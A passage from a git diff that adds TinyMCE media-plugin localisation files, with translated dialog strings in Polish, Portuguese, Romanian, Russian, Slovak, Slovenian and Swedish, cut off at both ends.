2",preload:"Prze\u0142aduj",poster:"Obraz",source:"\u0179r\u00f3d\u0142o","html5_audio_options":"Opcje audio","preload_none":"Nie \u0142\u0105duj wst\u0119pnie","preload_metadata":"\u0141aduj wst\u0119pnie metadane video","preload_auto":"Pozw\u00f3l zdecydowa\u0107 przegl\u0105darce u\u017cytkownika",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/pt_dlg.js b/js/tiny_mce2/plugins/media/langs/pt_dlg.js new file mode 100755 index 0000000..f578cd7 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.media_dlg',{list:"Lista",file:"Arquivo/URL",advanced:"Avan\u00e7ado",general:"Geral",title:"Inserir/Editar m\u00eddia embutida","align_top_left":"Topo esquerda","align_center":"Centro","align_left":"Esquerda","align_bottom":"Abaixo","align_right":"Direita","align_top":"Topo","qt_stream_warn":"Fluxos de recursos RTSP devem ser acrescentados ao campo QT Src no Modo Avan\u00e7ado.\nUma vers\u00e3o sem fluxo tamb\u00e9m deve ser acrescentada ao campo Src.",qtsrc:"QT Src",progress:"Progresso",sound:"Som",swstretchvalign:"For\u00e7ar V-Alinhamento",swstretchhalign:"For\u00e7ar H-Alinhamento",swstretchstyle:"For\u00e7ar Estilo",scriptcallbacks:"Retornos de chamada de script","align_top_right":"Topo direita",uimode:"Modo UI",rate:"Taxa",playcount:"Contagem de ouvintes",defaultframe:"Frame padr\u00e3o",currentposition:"Posi\u00e7\u00e3o atual",currentmarker:"Marcador atual",captioningid:"Id de legenda",baseurl:"URL Base",balance:"Stereo",windowlessvideo:"V\u00eddeo sem janela",stretchtofit:"Estender",mute:"Mudo",invokeurls:"Chamar URLs",fullscreen:"Tela inteira",enabled:"Ativado",autostart:"Execu\u00e7\u00e3o autom\u00e1tica",volume:"Volume",target:"Alvo",qtsrcchokespeed:"Diminuir Velocidade",href:"Link",endtime:"Hora do fim",starttime:"Hora de in\u00edcio",enablejavascript:"Permitir JavaScript",correction:"Sem correc\u00e7\u00f5es",targetcache:"Cache alvo",playeveryframe:"Executar todas as frames",kioskmode:"Modo Kiosk",controller:"Controlador",menu:"Mostrar menu",loop:"Repeti\u00e7\u00e3o autom\u00e1tica",play:"Execu\u00e7\u00e3o autom\u00e1tica",hspace:"Espa\u00e7o horizontal",vspace:"Espa\u00e7o vertical","class_name":"Classe",name:"Nome",id:"ID",type:"Tipo",size:"Dimens\u00f5es",preview:"Previs\u00e3o","constrain_proportions":"Manter propor\u00e7\u00f5es",controls:"Controles",numloop:"Repeti\u00e7\u00f5es",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash Vars",base:"Base",bgcolor:"Fundo",wmode:"WMode",salign:"SAlign",align:"Alinhamento",scale:"Escala",quality:"Qualidade",shuffle:"Aleat\u00f3rio",prefetch:"Pr\u00e9-buscar",nojava:"Sem Java",maintainaspect:"Manter aspecto",imagestatus:"Status da imagem",center:"Centro",autogotourl:"Auto abrir URL","shockwave_options":"Op\u00e7\u00f5es Shockwave","rmp_options":"Op\u00e7\u00f5es Real Media Player","wmp_options":"Op\u00e7\u00f5es Windows Media Player","qt_options":"Op\u00e7\u00f5es Quicktime","flash_options":"Op\u00e7\u00f5es Flash",hidden:"Oculto","align_bottom_left":"Abaixo esquerda","align_bottom_right":"Abaixo direita",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Op\u00e7\u00f5es de \u00c1udio Embutido",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockware",audio:"\u00e1udio",video:"v\u00eddeo","html5_video_options":"Op\u00e7\u00f5es de v\u00eddeo HTML5",altsource1:"C\u00f3digo alternativo 1",altsource2:"C\u00f3digo alternativo 2",preload:"Pr\u00e9-carregar",poster:"Poster",source:"Fonte","html5_audio_options":"Op\u00e7\u00f5es de Audio","preload_none":"N\u00e3o Pr\u00e9-carregar","preload_metadata":"Pr\u00e9-carregar metadata de v\u00eddeo","preload_auto":"Deixar que navegador do usu\u00e1rio decida",iframe:"iframe",embeddedaudio:"\u00e1udio embutido"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/ro_dlg.js b/js/tiny_mce2/plugins/media/langs/ro_dlg.js new file mode 100755 index 0000000..6b4bfb3 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.media_dlg',{list:"List\u0103",file:"Fi\u0219ier/URL",advanced:"Avansat\u0103",general:"General",title:"Insereaz\u0103 / editeaz\u0103 media","align_top_left":"St\u00e2nga sus","align_center":"Centru","align_left":"St\u00e2nga","align_bottom":"Jos","align_right":"Dreapta","align_top":"Sus","qt_stream_warn":"Resursele de tip flux rtsp trebuie ad\u0103ugate \u00een c\u00e2mpul QT Src din fila avansat.\nAr trebui de asemenea s\u0103 adaugi \u00een c\u00e2mpul Src o variant\u0103 care nu este de tip flux.",qtsrc:"QT Src",progress:"Progres",sound:"Sunet",swstretchvalign:"\u00centindere V-Aliniere",swstretchhalign:"\u00centindere H-Aliniere",swstretchstyle:"Stil \u00eentindere",scriptcallbacks:"Script callback","align_top_right":"Dreapta sus",uimode:"Mod UI",rate:"Vot",playcount:"Numar red\u0103ri",defaultframe:"Frame implicit",currentposition:"Pozi\u021bie curent\u0103",currentmarker:"Marcator curent",captioningid:"Titlu id",baseurl:"URL baz\u0103",balance:"Balan\u021b\u0103",windowlessvideo:"Video f\u0103r\u0103 fereastr\u0103",stretchtofit:"\u00centinde pentru a se \u00eencadra",mute:"Mut",invokeurls:"Invoc\u0103 URL-uri",fullscreen:"Ecran complet",enabled:"Activat",autostart:"Pornire automat\u0103",volume:"Volum",target:"Tin\u0163a",qtsrcchokespeed:"Viteza de sufocare",href:"Href",endtime:"Timp de sf\u00e2r\u0219it",starttime:"Timp de \u00eenceput",enablejavascript:"Activeaz\u0103 JavaScript",correction:"F\u0103r\u0103 corecturi",targetcache:"Memoria tampon \u021bint\u0103",playeveryframe:"Red\u0103 fiecare cadru",kioskmode:"Mod chio\u0219c",controller:"Controler",menu:"Arat\u0103 meniu",loop:"Repetare",play:"Redare automat\u0103",hspace:"H-Space",vspace:"V-Space","class_name":"Clas\u0103",name:"Nume",id:"Id",type:"Tip",size:"Dimensiuni",preview:"Previzualizare","constrain_proportions":"Men\u0163inere propor\u021bii",controls:"Controale",numloop:"Num\u0103r de repet\u0103ri",console:"Consol\u0103",cache:"Memorie tampon",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variabile Flash",base:"URL de baz\u0103",bgcolor:"Fundal",wmode:"WMode",salign:"SAlign",align:"Aliniere",scale:"Scar\u0103",quality:"Calitate",shuffle:"Aleator",prefetch:"Prefetch",nojava:"F\u0103r\u0103 java",maintainaspect:"Men\u021bine aspect",imagestatus:"Status imagine",center:"Centru",autogotourl:"Mergi automat la URL","shockwave_options":"Op\u021biuni Shockwave","rmp_options":"Op\u021biuni Real media player","wmp_options":"Op\u021biuni Windows media player","qt_options":"Op\u021biuni QuickTime","flash_options":"Op\u021biuni Flash",hidden:"Ascuns","align_bottom_left":"St\u00e2nga jos","align_bottom_right":"Dreapta jos",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Op\u021biuni de includere audio",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Op\u021biuni video HTML5",altsource1:"Sursa alternativ\u0103 1",altsource2:"Sursa alternativ\u0103 2",preload:"Pre\u00eencarc\u0103",poster:"Afi\u0219",source:"Surs\u0103","html5_audio_options":"Op\u021biuni audio","preload_none":"Nu pre\u00eenc\u0103rca","preload_metadata":"Pre\u00eencarc\u0103 metadatele video","preload_auto":"Las\u0103 navigatorul utilizatorului s\u0103 decid\u0103",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/ru_dlg.js b/js/tiny_mce2/plugins/media/langs/ru_dlg.js new file mode 100755 index 0000000..fbb186b --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.media_dlg',{list:"\u0421\u043f\u0438\u0441\u043e\u043a",file:"\u0410\u0434\u0440\u0435\u0441",advanced:"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e",general:"\u041e\u0431\u0449\u0435\u0435",title:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043b\u0438\u043f\u0430","align_top_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_center":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","qt_stream_warn":"\u041f\u043e\u0442\u043e\u043a\u043e\u0432\u044b\u0435 rtsp \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0432 \u043f\u043e\u043b\u0435 QT Src.",qtsrc:"QT Src",progress:"\u041f\u0440\u043e\u0433\u0440\u0435\u0441\u0441",sound:"\u0417\u0432\u0443\u043a",swstretchvalign:"\u0412\u0435\u0440. \u0432\u044b\u0440-\u0435 \u0440\u0430\u0441\u0442\u044f\u0436\u0435\u043d\u0438\u044f",swstretchhalign:"\u0413\u043e\u0440. \u0432\u044b\u0440-\u0435 \u0440\u0430\u0441\u0442\u044f\u0436\u0435\u043d\u0438\u044f",swstretchstyle:"\u0421\u0442\u0438\u043b\u044c \u0440\u0430\u0441\u0442\u044f\u0436\u0435\u043d\u0438\u0435",scriptcallbacks:"\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430","align_top_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",uimode:"\u0420\u0435\u0436\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430",rate:"\u0420\u0435\u0439\u0442\u0438\u043d\u0433",playcount:"\u0429\u0435\u0442\u0447\u0438\u043a \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0439",defaultframe:"\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u0430\u0434\u0440",currentposition:"\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043f\u043e\u0437\u0438\u0446\u0438\u044f",currentmarker:"\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u0430\u0440\u043a\u0435\u0440",captioningid:"\u0418\u043c\u044f \u0441\u0443\u0431\u0442\u0438\u0442\u0440\u043e\u0432",baseurl:"\u0411\u0430\u0437\u043e\u0440\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441",balance:"\u0411\u0430\u043b\u0430\u043d\u0441",windowlessvideo:"\u041e\u043a\u043e\u043d\u043d\u043e\u0435 \u0432\u0438\u0434\u0435\u043e",stretchtofit:"\u041f\u043e\u0434 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u043a\u043d\u0430",mute:"\u0411\u0435\u0437 \u0437\u0432\u0443\u043a\u0430",invokeurls:"\u0412\u044b\u0437\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441",fullscreen:"\u041d\u0430 \u0432\u0435\u0441\u044c \u044d\u043a\u0440\u0430\u043d",enabled:"\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u043e",autostart:"\u0410\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a",volume:"\u0413\u0440\u043e\u043c\u043a\u043e\u0441\u0442\u044c",target:"\u0426\u0435\u043b\u044c",qtsrcchokespeed:"Choke speed",href:"\u0421\u0441\u044b\u043b\u043a\u0430",endtime:"\u0412\u0440\u0435\u043c\u044f \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f",starttime:"\u0412\u0440\u0435\u043c\u044f \u043d\u0430\u0447\u0430\u043b\u0430",enablejavascript:"\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c JavaScript",correction:"\u0411\u0435\u0437 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0438",targetcache:"\u041a\u044d\u0448 \u0446\u0435\u043b\u0438",playeveryframe:"\u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0434\u0440",kioskmode:"\u0420\u0435\u0436\u0438\u043c \u043a\u0438\u043e\u0441\u043a",controller:"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",menu:"\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043c\u0435\u043d\u044e",loop:"\u041f\u043e\u0432\u0442\u043e\u0440",play:"\u0410\u0432\u0442\u0437\u0430\u043f\u0443\u0441\u043a",hspace:"\u0413\u043e\u0440. \u043e\u0442\u0441\u0442\u0443\u043f",vspace:"\u0412\u0435\u0440\u0442. \u043e\u0442\u0441\u0442\u0443\u043f","class_name":"\u041a\u043b\u0430\u0441\u0441",name:"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435",id:"\u0418\u043c\u044f",type:"\u0422\u0438\u043f",size:"\u0420\u0430\u0437\u043c\u0435\u0440\u044b",preview:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440","constrain_proportions":"\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",controls:"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",numloop:"\u041f\u043e\u0432\u0442\u043e\u0440\u044b",console:"\u041a\u043e\u043d\u0441\u043e\u043b\u044c",cache:"\u041a\u044d\u0448",autohref:"\u0410\u0432\u0442\u043e-\u0441\u0441\u044b\u043b\u043a\u0430",liveconnect:"SWLiveConnect",flashvars:"Flash \u043a\u043e\u043c\u0430\u043d\u0434\u044b",base:"Base",bgcolor:"\u0424\u043e\u043d",wmode:"\u041e\u043a\u043d\u043e",salign:"\u0412\u044b\u0440-\u0435",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",scale:"\u041e\u0431\u043b\u0430\u0441\u0442\u044c",quality:"\u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e",shuffle:"\u0412 \u0440\u0430\u0437\u0431\u0440\u043e\u0441",prefetch:"\u0423\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430",nojava:"\u0411\u0435\u0437 Java",maintainaspect:"\u0417\u0430\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440",imagestatus:"\u0421\u0442\u0430\u0442\u0443\u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",center:"\u0426\u0435\u043d\u0442\u0440",autogotourl:"\u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441","shockwave_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Shockwave","rmp_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Real Media","wmp_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Windows Media","qt_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Quicktime","flash_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Flash",hidden:"\u0421\u043a\u0440\u044b\u0442\u044b\u0439","align_bottom_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_bottom_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",flash:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Flash \u0444\u0430\u0439\u043b\u0430",quicktime:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Quick Time \u0444\u0430\u0439\u043b\u0430","embedded_audio_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u043e",windowsmedia:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Windows Media \u0444\u0430\u0439\u043b\u0430",realmedia:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Real Media \u0444\u0430\u0439\u043b\u0430",shockwave:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Shockwave \u0444\u0430\u0439\u043b\u0430",audio:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 HTML5 \u0437\u0432\u0443\u043a\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430",video:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 HTML5 \u0432\u0438\u0434\u0435\u043e \u0444\u0430\u0439\u043b\u0430","html5_video_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b HTML5 Video",altsource1:"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a 1",altsource2:"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a 2",preload:"\u041f\u0440\u0435\u0434\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430",poster:"\u041f\u043e\u0441\u0442\u0435\u0440",source:"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a","html5_audio_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0430\u0443\u0434\u0438\u043e","preload_none":"\u0411\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438","preload_metadata":"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0438\u0434\u0435\u043e","preload_auto":"\u041d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430",iframe:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0440\u0435\u0441\u0443\u0440\u0441 \u0432 IFrame",embeddedaudio:"\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0417\u0432\u0443\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/sk_dlg.js b/js/tiny_mce2/plugins/media/langs/sk_dlg.js new file mode 100755 index 0000000..eb96783 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.media_dlg',{list:"Zoznam",file:"S\u00fabor/URL",advanced:"Roz\u0161\u00edren\u00e9",general:"Obecn\u00e9",title:"Vlo\u017ei\u0165/upravi\u0165 vkladan\u00e9 m\u00e9di\u00e1","align_top_left":"Hore v\u013eavo","align_center":"Na stred","align_left":"V\u013eavo","align_bottom":"Dolu","align_right":"Vpravo","align_top":"Hore","qt_stream_warn":"Streamovan\u00e9 RTSP zdroje m\u00f4\u017eu by\u0165 pridan\u00e9 do polia \'S\u00fabor/URL streamu pre QT\' na z\u00e1lo\u017eke \'Roz\u0161\u00edren\u00e9\'.\nM\u00f4\u017ete tie\u017e prida\u0165 nie streamovan\u00fa verziu do polia \'S\u00fabor/URL\'.",qtsrc:"S\u00fabor/URL streamu pre QT",progress:"Priebeh",sound:"Zvuk",swstretchvalign:"Zarovnanie vert. roztiahnutia",swstretchhalign:"Zarovnanie horiz. roztiahnutia",swstretchstyle:"\u0160t\u00fdl roztiahnutia",scriptcallbacks:"Skripty sp\u00e4tn\u00fdch volan\u00ed","align_top_right":"Hore vpravo",uimode:"Re\u017eim ovl\u00e1dacieho panelu",rate:"Relat\u00edvna r\u00fdchlos\u0165",playcount:"Po\u010d\u00edtadlo prehrat\u00ed",defaultframe:"Predvolen\u00fd sn\u00edmok",currentposition:"Aktu\u00e1lna poz\u00edcia",currentmarker:"Aktu\u00e1lna z\u00e1lo\u017eka",captioningid:"ID popisku m\u00e9dia",baseurl:"Z\u00e1kladn\u00e1 URL",balance:"Rovnov\u00e1ha",windowlessvideo:"Video bez okna",stretchtofit:"Roztiahn\u00fa\u0165 do okna",mute:"Uml\u010da\u0165",invokeurls:"Po\u017eadova\u0165 URL",fullscreen:"Cel\u00e1 obrazovka",enabled:"Povoli\u0165 ovl\u00e1dac\u00ed panel",autostart:"Automatick\u00e9 spustenie",volume:"Hlasitos\u0165",target:"Cie\u013e",qtsrcchokespeed:"Zn\u00ed\u017eenie r\u00fdchlosti",href:"Odkaz",endtime:"Koncov\u00fd \u010das",starttime:"Po\u010diato\u010dn\u00fd \u010das",enablejavascript:"Povoli\u0165 JavaScript",correction:"Bez korekci\u00ed",targetcache:"Cie\u013eov\u00e1 medzipam\u00e4\u0165",playeveryframe:"Prehra\u0165 ka\u017ed\u00fd sn\u00edmok",kioskmode:"Zak\u00e1za\u0165 ukladanie",controller:"Ovl\u00e1dac\u00ed panel",menu:"Zobrazi\u0165 ponuku",loop:"Opakovanie",play:"Automatick\u00e9 prehr\u00e1vanie",hspace:"Horizont\u00e1lne odsadenie",vspace:"Vertik\u00e1lne odsadenie","class_name":"Trieda",name:"N\u00e1zov",id:"ID",type:"Typ",size:"Rozmery",preview:"N\u00e1h\u013ead","constrain_proportions":"Zachova\u0165 proporcie",controls:"Ovl\u00e1dac\u00ed panel",numloop:"Po\u010det opakovan\u00ed",console:"Konzola",cache:"Medzipam\u00e4\u0165",autohref:"Automatick\u00e9 na\u010d\u00edtanie",liveconnect:"Spusti\u0165 Javu (SWLiveConnect)",flashvars:"Parametre (Flashvars)",base:"Z\u00e1kladn\u00fd prie\u010dinok",bgcolor:"Pozadie",wmode:"Re\u017eim okna",salign:"Zarovnanie okna",align:"Zarovnanie",scale:"Pomer",quality:"Kvalita",shuffle:"N\u00e1hodne",prefetch:"Predna\u010d\u00edtanie",nojava:"Nesp\u00fa\u0161\u0165a\u0165 Javu",maintainaspect:"Zachova\u0165 pomer str\u00e1n",imagestatus:"Stav obrazu",center:"Na stred",autogotourl:"Automatick\u00fd prechod na URL","shockwave_options":"Mo\u017enosti Shockwave","rmp_options":"Mo\u017enosti prehr\u00e1va\u010da Real media","wmp_options":"Mo\u017enosti prehr\u00e1va\u010da Windows media","qt_options":"Mo\u017enosti Quicktime","flash_options":"Mo\u017enosti Flashu",hidden:"Skry\u0165","align_bottom_left":"Dolu v\u013eavo","align_bottom_right":"Dolu vpravo",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Mo\u017enosti vlo\u017een\u00e9ho audio s\u00faboru",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Mo\u017enosti HTML5 video",altsource1:"Alternat\u00edvny zdroj 1",altsource2:"Alternat\u00edvny zdroj 2",preload:"Predna\u010d\u00edtanie",poster:"Obr\u00e1zok (zobraz\u00ed sa pri nedostupnosti videa)",source:"Zdroj","html5_audio_options":"Vlastnosti audia","preload_none":"Nepred\u010d\u00edtaj","preload_metadata":"Nepred\u010d\u00edtaj meta-\u00fadaje videa","preload_auto":"Ponechajte vo\u013eba pri v\u00fdbere prehliada\u010da na u\u017e\u00edvate\u013eovi",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/sl_dlg.js b/js/tiny_mce2/plugins/media/langs/sl_dlg.js new file mode 100755 index 0000000..fc02c62 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.media_dlg',{list:"Seznam",file:"Datoteka/URL",advanced:"Napredno",general:"Splo\u0161no",title:"Vstavi / uredi multimedijsko vsebino","align_top_left":"zgoraj levo","align_center":"sredina","align_left":"levo","align_bottom":"spodaj","align_right":"desno","align_top":"zgoraj","qt_stream_warn":"V polje \"QT vir\" pod zavihkom napredno, morajo biti dodani preto\u010dni RTSP viri.\nNepreto\u010dna razli\u010dica mora biti dodana v polje \"vir\".",qtsrc:"QT vir",progress:"Napredek",sound:"Zvok",swstretchvalign:"raztegni n-poravnano",swstretchhalign:"raztegni v-poravnano",swstretchstyle:"Slog raztegovanja",scriptcallbacks:"Povratni klici","align_top_right":"zgoraj desno",uimode:"Na\u010din uporabni\u0161kega vmesnika",rate:"Ocena",playcount:"\u0160tevilo predvajanj",defaultframe:"Privzeti okvir",currentposition:"Trenutni polo\u017eaj",currentmarker:"Trenutna oznaka",captioningid:"Oznaka podnapisov",baseurl:"Temeljni URL",balance:"Ravnovesje",windowlessvideo:"Video brez okna",stretchtofit:"Raz\u0161iri",mute:"Uti\u0161aj",invokeurls:"Naslovi URLje",fullscreen:"Cel zaslon",enabled:"Omogo\u010deno",autostart:"Samodejno predvajaj",volume:"Glasnost",target:"Cilj",qtsrcchokespeed:"Hitrost predpomnenja",href:"Povezava",endtime:"Kon\u010dni \u010das",starttime:"Za\u010detni \u010das",enablejavascript:"Omogo\u010di JavaScript",correction:"Brez popravkov",targetcache:"Ciljno predpomnjenje",playeveryframe:"Predvajaj vsak okvir",kioskmode:"Kiosk na\u010din",controller:"Nadzorni element",menu:"Prika\u017ei meni",loop:"Ponavljaj",play:"Samodejno predvajaj",hspace:"H-razmik",vspace:"V-razmik","class_name":"Razred",name:"Ime",id:"Id",type:"Tip",size:"Dimenzije",preview:"Predogled","constrain_proportions":"Obdr\u017ei razmerje",controls:"Nadzorni elementi",numloop:"\u0160t. zank",console:"Konzola",cache:"Predpomnjenje",autohref:"Avtomatska povezava",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Osnova",bgcolor:"Ozadje",wmode:"WM na\u010din",salign:"S-poravnava",align:"Poravnava",scale:"Stopnja pove\u010dave",quality:"Kakovost",shuffle:"Pome\u0161aj",prefetch:"Predpomnenje",nojava:"Brez Jave",maintainaspect:"Zakleni razmerje",imagestatus:"Slika stanja",center:"Sredina",autogotourl:"Samodejno na URL","shockwave_options":"Mo\u017enosti Shockwave","rmp_options":"Mo\u017enosti Real media player","wmp_options":"Mo\u017enosti Windows media player","qt_options":"Mo\u017enosti Quicktime","flash_options":"Mo\u017enosti Flash",hidden:"Skrito","align_bottom_left":"spodaj levo","align_bottom_right":"spodaj desno",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Nastavitve za vstavljeni zvok",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"HTML5 video nastavitve",altsource1:"Alternativni vir 1",altsource2:"Alternativni vir 2",preload:"Predpomnenje",poster:"Poster",source:"Vir","html5_audio_options":"Nastavitve za zvok","preload_none":"Brez prednalaganja","preload_metadata":"Prednalo\u017ei mata podatke za video ","preload_auto":"Privzeta nastavitev brskalnika",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/sv_dlg.js b/js/tiny_mce2/plugins/media/langs/sv_dlg.js new file mode 100755 index 0000000..3f38466 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.media_dlg',{list:"Lista",file:"Fil/URL",advanced:"Avancerat",general:"Generellt",title:"Infoga/redigera inb\u00e4ddad media","align_top_left":"Top left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"Top right",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base 